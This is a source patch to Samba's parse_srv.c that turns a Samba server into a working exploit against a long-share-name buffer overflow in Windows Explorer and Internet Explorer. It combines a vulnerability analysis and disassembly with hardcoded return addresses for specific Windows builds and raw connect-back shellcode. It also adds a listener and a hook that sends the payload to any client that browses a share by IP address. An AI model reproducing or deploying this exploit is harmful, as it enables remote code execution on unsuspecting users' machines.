--- download/samba-3.0.2a/source/rpc_parse/parse_srv.c.O Fri May 21 21:18:14 2004 +++ download/samba-3.0.2a/source/rpc_parse/parse_srv.c Sat Jun 12 18:26:37 2004 @@ -28,6 +28,450 @@ #undef DBGC_CLASS #define DBGC_CLASS DBGC_RPC_PARSE +/* + * Exploit code for "Microsoft's Explorer and Internet Explorer long + * share name buffer overflow" discovered by Rodrigo Gutierrez. + * $rev 1.5, Yorick Koster, June 12, 2004 + * + * Tested on: + * - Windows NT SP6 English build 1381 (Explorer) + * - Internet Explorer 6.0 SP1 6.0.2800.1106 (WinNT SP6 English) + * - Windows 2000 SP4 Dutch build 2195 (Explorer) + * - Internet Explorer 6.0 SP1 6.0.2800.1106 (Win2k SP4 Dutch) + * - Windows 2000 SP4 English build 2195 (Explorer) + * - Internet Explorer 6.0 SP1 6.0.2800.1106 (Win2k SP4 English) + * - Windows XP SP1 English build 2600 (Explorer) + * - Internet Explorer 6.0.2800.1106.xpsp2 (WinXP SP1 English) + * + * Reference: + * http://archives.neohapsis.com/archives/fulldisclosure/2004-04/0913.html + * + * Vulnerability details: + * The buffer overflow occurs upon processing a NetrShareEnum response, + * specifcally when processing SHARE_INFO_1 structures. This vulnerability + * exists due to an unsafe StrCpyW() call within SHLWAPI.dll. The following + * dump was made using OllyDbg (attached to explorer.exe), it contains the + * vulnerable function that calls StrCpyW() (line 70AA342A): + * + * 70AA33E0 /$ 55 PUSH EBP + * 70AA33E1 |. 8BEC MOV EBP,ESP + * 70AA33E3 |. 81EC 08020000 SUB ESP,208 + * 70AA33E9 |. 53 PUSH EBX + * 70AA33EA |. 56 PUSH ESI + * 70AA33EB |. 8B75 10 MOV ESI,DWORD PTR SS:[EBP+10] + * 70AA33EE |. F7DE NEG ESI + * 70AA33F0 |. 1BF6 SBB ESI,ESI + * 70AA33F2 |. B8 00010000 MOV EAX,100 + * 70AA33F7 |. 23F0 AND ESI,EAX + * 70AA33F9 |. 03F0 ADD ESI,EAX + * 70AA33FB |. 833D 00B6AC70 >CMP DWORD PTR DS:[70ACB600],0 + * 70AA3402 |. 57 PUSH EDI + * 70AA3403 |. 75 06 JNZ SHORT SHLWAPI.70AA340B + * 70AA3405 |. 81CE 00000001 OR ESI,1000000 + * 70AA340B |> 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C] + * 70AA340E |. 85FF TEST EDI,EDI + * 70AA3410 |. 8B5D 08 MOV EBX,DWORD PTR SS:[EBP+8] + * 70AA3413 |. 75 09 JNZ SHORT SHLWAPI.70AA341E + * 70AA3415 |. 53 PUSH EBX + * 70AA3416 |. FF15 3C14A770 CALL DWORD PTR DS:[<&KERNEL32.lstrlenW>] + * 70AA341C |. 8BF8 MOV EDI,EAX + * 70AA341E |> 85DB TEST EBX,EBX + * 70AA3420 |. 74 25 JE SHORT SHLWAPI.70AA3447 + * 70AA3422 |. 53 PUSH EBX + * 70AA3423 |. 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-208] + * 70AA3429 |. 50 PUSH EAX + * 70AA342A |. E8 360BFFFF CALL SHLWAPI.StrCpyW + * 70AA342F |. 57 PUSH EDI + * 70AA3430 |. 53 PUSH EBX + * 70AA3431 |. 57 PUSH EDI + * 70AA3432 |. 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-208] + * 70AA3438 |. 50 PUSH EAX + * 70AA3439 |. 56 PUSH ESI + * 70AA343A |. 68 00080000 PUSH 800 + * 70AA343F |. FF15 4C13A770 CALL DWORD PTR DS:[<&KERNEL32.LCMapStringW>] + * 70AA3445 |. EB 02 JMP SHORT SHLWAPI.70AA3449 + * 70AA3447 |> 33C0 XOR EAX,EAX + * 70AA3449 |> 5F POP EDI + * 70AA344A |. 5E POP ESI + * 70AA344B |. 5B POP EBX + * 70AA344C |. C9 LEAVE + * 70AA344D \. C2 0C00 RETN 0C + * + * Using the strCpyW() call, we control both EBP and EIP, which are + * stored on the stack. Our stack looks something like this: + * + * vvvvvvvvvvvvvvvvvvvvvvv high adressess + * | | + * +-----------------------+ + * | | <- ESP points here + * | | + * | | + * | | + * +-----------------------+ + * | EIP | + * +-----------------------+ + * | EBP | + * +-----------------------+ + * | | + * | | + * | our buffer | + * / / + * | 243 - 251 widechars | + * | | + * | | + * +-----------------------+ + * | | + * | IP + backslash | + * | 8 - 16 widechars | + * | | + * +-----------------------+ + * | | + * ^^^^^^^^^^^^^^^^^^^^^^^^^ low addresses + * (the stack grows down) + * + * Note, it appears that the buffer overflow is only triggered when + * using IP addresses (e.g. \\127.0.0.1). When using the NetBIOS name + * (Internet) Explorer will display the share name. If someone + * accidently views the share, for example when browsing the Network + * Neighbourhood, it will not execute our shellcode. + * + * Exploit details: + * As is shown in the above illustration, we control EIP after we + * have written 245 - 253 widechars on the stack. Normally we would + * determine the address of ESP and overwrite EIP with something like + * ESP - 500. This will cause the program to execute the code that is in + * our buffer. Unfortunately, the address of ESP differs every time we + * point Explorer to our malicious share. + * + * Since we don't know the address of ESP, we can't just overwrite EIP + * and jump back to our shellcode. We need to find another way to get + * back to our shellcode. Notice that ESP points above our shellcode, + * so we have at least one address that is near our shellcode. We may + * be able to use this pointer to get back to our shellcode. We can do + * something like this: + * SUB ESP, 1f4h + * JMP ESP + * + * We may be able to locate these instructions somewhere in one of the + * DLLs that are loaded by Explorer. Or we can overwrite our buffer a + * bit more and inject a second (small) shellcode on the stack, located + * ESP. The purpose of this seconde shellcode is to jump back to the + * actual shellcode located below ESP. At this moment we only have to + * find a JMP ESP instruction in one of the DLLs loaded by Explorer. + * The last method is prefered, since it is more likely that we will + * find a JMP ESP located at the same address on various versions of + * Windows. + * + * The same technique also applies to Internet Explorer, however some + * DLLs used by Internet Explorer are mapped into a different + * address space. Therefore, a JMP ESP in Explorer may not exist (on + * the same location) in Internet Explorer. + * + * There are other methods that can be used to exploit this + * vulnerability, however, we'll stick with the method described + * above. + * + * Shellcode: + * The shellcode contains several different techniques, the reason + * for this is that I wanted to test various methods that are used + * when writing shellcode. Because of this, the shellcode is a bit + * large (around 500 bytes). However, this is not an issue at the + * moment. The shellcode neatly fits into our buffer. The shellcode + * has to be obtimized in order for it to work with other buffer + * overflows. + * + * Note that the shellcode contains NULL-bytes, this is also not + * an issue, because we send an Unicode string to our target host. + * In Unicode, an end-of-line character is encoded using two + * NULL-bytes (a short). So, NULL-shorts are not allowed in the + * shellcode. + * + * The shellcode performs the following actions: + * - Locate the base address of kernel32.dll + * - Find function addresses for the functions: + * - ExitProcess (not needed, we can also trigger + * an exception) + * - LoadLibraryA + * - GetProcAddress + * - Call LoadLibraryA("ws2_32.dll") + * - Call GetProcAddress(, "WSAStartup") + * - Call WSAStartup + * - Call GetProcAddress(, "WSASocket") + * - Call GetProcAddress(, "connect") + * - Call WSASocket + * - Call connect + * - Call ExitProccess + * + * Notes: + * This exploit code has been tested using the following + * smb.conf: + * + * [global] + * workgroup = DONTUSESTRCPY + * security = share + * + * [tmp] + * path = /tmp + * guest ok = yes + * read only = yes + * + * !!! Using this configuration makes /tmp world-readable. !!! + * + * Be sure to check the contents of /tmp/vulnerable.log and + * /usr/local/samba/var/log.smbd when running Samba. + * + * Disclaimer: + * This exploit code is provided as-is, without any warranty. + * Your are not allowed to (re)distribute or alter this + * exploit code without my permission. + * + * This code contains at least one (insecure file creation) + * vulnerability. It does not claim to be secure in any way, + * use it at your own risk. + * + * -- you shouldn't use strcpy, mmmmkay + */ + +#define NOP 0x90 + +// return addresses +#define JMP_ESP_COMCTL32_EXP_WIN2K_SP4_B2195_NL 0x717564b8 +#define JMP_ESP_COMCTL32_IE6_0_2800_1106_WIN2K_SP4_NL 0x007e64b8 +// almost universal ?? +#define JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL 0x70a7bf97 +#define JMP_ESP_SHLWAPI_IE6_0_2800_1106_WIN2K_SP4_NL JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL +#define JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL +#define JMP_ESP_SHLWAPI_IE6_0_2800_1106_WIN2K_SP4_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL +#define JMP_ESP_SHLWAPI_EXP_WINXP_SP1_B2600_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL +#define JMP_ESP_SHLWAPI_IE6_0_2800_1106_xpsp2_WINXP_SP1_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL +// does not work on all versions of Windows NT, +// maybe related to different IE versions? +#define JMP_ESP_SHLWAPI_EXP_WINNT_SP6_B1381_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL +#define JMP_ESP_SHLWAPI_IE6_0_2800_1106_WINNT_SP6_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL + +// the actual return address +#define RET JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL + +unsigned char shell[] = "\x54\x89\xe5\x81\xc4\x00\xf0\xff\xff\x81\xe4\x00\xff\xff\xff\x8d" + "\x45\xe8\x89\x45\xd4\x8d\x45\xe4\x89\x45\xd8\x8d\x45\xe0\x89\x45" + "\xdc\xc7\x45\xc8\x6a\xbc\x06\x00\xc7\x45\xcc\x86\x57\x0d\x00\xc7" + "\x45\xd0\xfa\x8b\x34\x00\xc6\x45\xbc\x57\xc6\x45\xbd\x53\xc6\x45" + "\xbe\x41\xc6\x45\xbf\x53\xc6\x45\xc0\x74\xc6\x45\xc1\x61\xc6\x45" + "\xc2\x72\xc6\x45\xc3\x74\xc6\x45\xc4\x75\xc6\x45\xc5\x70\xc6\x45" + "\xc6\x00\xc6\x45\xb0\x77\xc6\x45\xb1\x73\xc6\x45\xb2\x32\xc6\x45" + "\xb3\x5f\xc6\x45\xb4\x33\xc6\x45\xb5\x32\xc6\x45\xb6\x2e\xc6\x45" + "\xb7\x64\xc6\x45\xb8\x6c\xc6\x45\xb9\x6c\xc6\x45\xba\x00\xc6\x45" + "\xa4\x57\xc6\x45\xa5\x53\xc6\x45\xa6\x41\xc6\x45\xa7\x53\xc6\x45" + "\xa8\x6f\xc6\x45\xa9\x63\xc6\x45\xaa\x6b\xc6\x45\xab\x65\xc6\x45" + "\xac\x74\xc6\x45\xad\x41\xc6\x45\xae\x00\xc6\x45\x9c\x63\xc6\x45" + "\x9d\x6f\xc6\x45\x9e\x6e\xc6\x45\x9f\x6e\xc6\x45\xa0\x65\xc6\x45" + "\xa1\x63\xc6\x45\xa2\x74\xc6\x45\xa3\x00\x33\xc0\x64\x8b\x40\x30" + "\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x89\x45\xfc\x8b\x58\x3c" + "\x03\xd8\x8b\x5b\x78\x03\xd8\x8b\x4b\x18\x89\x4d\xf8\x8b\x4b\x20" + "\x03\xc8\x89\x4d\xf4\x8b\x4b\x24\x03\xc8\x89\x4d\xf0\x8b\x4b\x1c" + "\x03\xc8\x89\x4d\xec\x33\xdb\x83\xfb\x0c\x74\x64\x8b\x45\xf0\x8b" + "\x4d\xf8\x8b\x55\xf4\x49\xe3\x53\x51\x52\x33\xff\x8b\x12\x03\x55" + "\xfc\x33\xc9\x8a\x0a\x84\xc9\x74\x0c\x83\xc9\x60\x03\xf9\xd1\xe7" + "\x83\xc2\x01\xeb\xec\x8d\x95\xc8\xff\xff\xff\x03\xd3\x8b\x0a\x3b" + "\xf9\x5a\x59\x74\x08\x83\xc0\x02\x83\xc2\x04\xeb\xc8\x33\xc9\x66" + "\x8b\x08\x8b\x55\xec\xc1\xe1\x02\x03\xd1\x8b\x12\x03\x55\xfc\x8d" + "\x8d\xd4\xff\xff\xff\x03\xcb\x8b\x09\x89\x11\x83\xc3\x04\xeb\x97" + "\x8d\x9d\xb0\xff\xff\xff\x53\xff\x55\xe4\x8b\xf8\x8d\x9d\xbc\xff" + "\xff\xff\x53\x57\xff\x55\xe0\x54\x33\xdb\x66\xbb\x01\x01\x53\xff" + "\xd0\x8d\x9d\xa4\xff\xff\xff\x53\x57\xff\x55\xe0\x8b\xf0\x8d\x9d" + "\x9c\xff\xff\xff\x53\x57\xff\x55\xe0\x8b\xf8\x33\xc0\x50\x50\x50" + "\x50\x40\x50\x40\x50\xff\xd6\x8b\xf0\x66\xb8\xff\xaa\xc1\xe0\x10" + "\x66\xb8\x02\x01\x50\x68\x02\x00\x55\x44\x8b\xcc\x33\xc0\xb0\x10" + "\x50\x51\x56\xff\xd7\xff\x55\xe8"; + +unsigned char jmp2sh[] = "\x81\xc4\x06\xfe\xff\xff" // add esp, -1fah + "\xff\xe4"; // jmp esp + +unsigned char magic_str[] = "\x66\xb8\xff\xaa\xc1\xe0\x10\x66\xb8\x02\x01\x50\x68\x02\x00\x55\x44"; + +void insert_shellcode(unsigned char *ptr, unsigned char *code, unsigned int len) +{ + unsigned int i; + + for(i = 0; i < len; i++) + { + *(ptr++) = *(code++); + } +} + +void insert_address(unsigned char *ptr, unsigned long addr) +{ + ptr[0] = (unsigned char)(addr & 0xFF); + ptr[1] = (unsigned char)((addr >> 8) & 0xFF); + ptr[2] = (unsigned char)((addr >> 16) & 0xFF); + ptr[3] = (unsigned char)(addr >> 24); +} + +void spawn_listener(unsigned char *ptr, unsigned int len) +{ + int sockfd = socket(PF_INET, SOCK_STREAM, 0); + struct sockaddr_in sin; + unsigned short port = 1025; + char *p; + + memset(&sin, 0, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_port = htons(port); + sin.sin_addr.s_addr = inet_addr(client_socket_addr()); + + while(bind(sockfd, (struct sockaddr *)&sin, sizeof(sin))) + { + sin.sin_port = htons(++port); + if(port == 65535) + { + DEBUGADD(0, ("Unable to find a suitable portnumber (%d)\n", port)); + exit(1); + } + p = (char *)&sin.sin_port; + if(!p[1]); + continue; + } + + if(listen(sockfd, 1024)) + { + DEBUGADD(0, ("Call to listen failed\n")); + exit(1); + } + + len -= (sizeof(magic_str) - 1); + while(memcmp(ptr, magic_str, sizeof(magic_str) - 1)) + { + if(!(--len)) + { + DEBUGADD(0, ("Couldn't locate 'magic string'\n")); + exit(1); + } + ptr++; + } + + p = (char *)&sin.sin_addr.s_addr; + ptr[2] = p[2]; + ptr[3] = p[3]; + ptr[9] = p[0]; + ptr[10] = p[1]; + p = (char *)&sin.sin_port; + ptr[15] = p[0]; + ptr[16] = p[1]; + + if(!fork()) + { + fd_set fds; + struct timeval tv; + + umask(077); + tv.tv_sec = 5; + tv.tv_usec = 0; + FD_ZERO(&fds); + FD_SET(sockfd, &fds); + + DEBUGADD(0, ("New listening process started (%s:%d)\n", client_socket_addr(), port)); + if(select(sockfd + 1, &fds, NULL, NULL, &tv) > 0) + { + if(FD_ISSET(sockfd, &fds)) + { + FILE *log; + struct sockaddr_in cli_addr; + socklen_t len = sizeof(cli_addr); + int clientfd; + time_t tm; + + clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &len); + + time(&tm); + p = ctime(&tm); + p[strlen(p) - 1] = 0; + + log = fopen("/tmp/vulnerable.log", "a"); + if(!strcmp(get_peer_name(clientfd, False), client_name())) + { + char *fmst = "%s (%s) appears to be vulnerable\n"; + + if(log) + { + fprintf(log, "%s - ", p); + fprintf(log, fmst, client_name(), client_addr()); + fclose(log); + } + DEBUGADD(0, (fmst, client_name(), client_addr())); + } + else + { + DEBUGADD(0, ("NOTICE: a different host (%s) connected back!\n", + get_peer_name(clientfd, False))); + } + close(clientfd); + } + } + + close(sockfd); + exit(0); + } + + close(sockfd); +} + +void dump_buffer(unsigned char *ptr, unsigned int len) +{ + unsigned int i; + + for(i = 0; i < len; i++) + { + if(!(i % 32)) + { + DEBUGADD(0, ("\n")); + } + DEBUGADD(0, ("%.2x ", *(ptr++))); + } + DEBUGADD(0, ("\n")); +} + +void do_sploit(UNISTR2 *unistr) +{ + int i = 0; + + DEBUG(0, ("Trying to exploit %s\n", client_name())); + + unistr->uni_max_len = 300; + unistr->uni_str_len = unistr->uni_max_len; + unistr->offset = 0; + DEBUGADD(0, ("Reallocating memory\n")); + unistr->buffer = talloc_realloc(get_talloc_ctx(), unistr->buffer, + unistr->uni_max_len * sizeof(uint16)); + memset(unistr->buffer, NOP, unistr->uni_max_len * sizeof(uint16)); + i += (16 - strlen(client_socket_addr())) + 1; + + DEBUGADD(0, ("Inserting shellcode\n")); + insert_shellcode((unsigned char *)&unistr->buffer[i], shell, sizeof(shell) - 1); + i += 242; + +// DEBUGADD(0, ("Setting EBP\n")); +// insert_address((unsigned char *)&unistr->buffer[i], 0x44434241); + i += 2; + + DEBUGADD(0, ("Setting EIP\n")); + insert_address((unsigned char *)&unistr->buffer[i], RET); + i += 8; + + DEBUGADD(0, ("Inserting shellcode\n")); + insert_shellcode((unsigned char *)&unistr->buffer[i], jmp2sh, sizeof(jmp2sh) - 1); + + DEBUGADD(0, ("Spawning a new process, binding to a port & setting IP + port number\n")); + spawn_listener((unsigned char *)unistr->buffer, unistr->uni_max_len * sizeof(uint16)); + + unistr->buffer[unistr->uni_max_len - 1] = 0; + + fflush(NULL); + DEBUGADD(0, ("Buffer contents: ")); + dump_buffer((unsigned char *)unistr->buffer, unistr->uni_max_len * sizeof(uint16)); + + return; +} + /******************************************************************* Inits a SH_INFO_0_STR structure ********************************************************************/ @@ -119,6 +563,10 @@ if(!prs_align(ps)) return False; + if(!sh1->ptrs->type) + { + do_sploit(&sh1->uni_netname); + } if(sh1->ptrs->ptr_netname) if(!smb_io_unistr2("", &sh1->uni_netname, True, ps, depth)) return False;